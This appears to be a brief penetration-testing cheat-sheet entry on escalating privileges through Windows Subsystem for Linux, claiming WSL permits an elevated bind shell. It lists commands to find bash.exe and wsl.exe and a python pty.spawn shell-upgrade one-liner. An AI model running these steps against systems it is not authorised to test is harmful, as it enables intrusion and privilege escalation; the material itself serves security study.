# Windows Subsystem for Linux

## Overview

**WSL** allows a user to run Linux on top on the Windows system making it a... subsystem. However, with this comes vulnerabilities like the ability to create a elevated bind shell, with root privileges, to the **Windows** machine on any port.

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## Escalation via WSL

```powerquery
where /R C:\Windows bash.exe
where /R C:\Windows wsl.exe
```

```
bash.exe
python -c 'import pty;pty.spawn("/bin/bash")';
```

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